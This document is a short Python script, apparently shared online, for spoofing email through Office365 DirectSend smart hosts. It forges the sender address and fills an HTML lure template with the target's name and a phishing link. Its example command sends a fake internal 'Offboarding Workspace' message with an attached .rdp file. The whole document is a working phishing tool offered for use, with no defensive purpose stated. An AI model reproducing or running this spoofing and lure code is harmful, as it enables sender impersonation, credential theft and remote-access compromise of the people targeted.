Simple unfinished SMTP spoof script for use with Office365 DirectSend SmartHosts

spoof.py

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import ssl
import email
import argparse


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--To', type=str, required=True)
    parser.add_argument('-f', '--From', type=str, required=True)
    parser.add_argument('-s', '--Subject', type=str, required=True)
    parser.add_argument('-b', '--Body', type=str, required=True)
    parser.add_argument('-a', '--Attach', type=str, required=False)
    parser.add_argument('--smtp', type=str, required=True, help="domain-com.mail.protection.outlook.com")
    args = parser.parse_args()

    link = 'https://formlink/'
    from_parts = args.From.split(' <')
    from_name = from_parts[0]

    to_parts = args.To.split(' <')
    to_name = to_parts[0]

    msg = MIMEMultipart('alternative')
    msg['Subject'] = args.Subject
    msg['From'] = args.From
    msg['To'] = args.To

    with open(args.Body, 'r') as fh:
        html = fh.read()
        body_html = html.replace('{{target}}', to_name).replace('{{sender}}', from_name).replace('{{link}}', link)
        html_part = MIMEText(body_html, 'html')
        msg.attach(html_part)

    if args.Attach:
        with open(args.Attach, 'rb') as attachment:
            attach_part = MIMEBase('application','octet-stream')
            attach_part.set_payload(attachment.read())
            encoders.encode_base64(attach_part)
            attach_part.add_header(
                'Content-Disposition',
                'attachment',
                filename=args.Attach
            )
            msg.attach(attach_part)

    s = smtplib.SMTP(args.smtp)
    s.sendmail(args.From,[args.To], msg.as_string())
    s.quit()

if __name__ == "__main__":
    main()

python3 spoof.py -t 'John Doe <john.doe@blahblah.com>' -f 'Bob Smith <bob.smith@blahblah.com>' -s 'Offboarding Workspace' -b Offboarding.html --smtp blahblah-com.mail.protection.outlook.com -a Shared_Workspace.rdp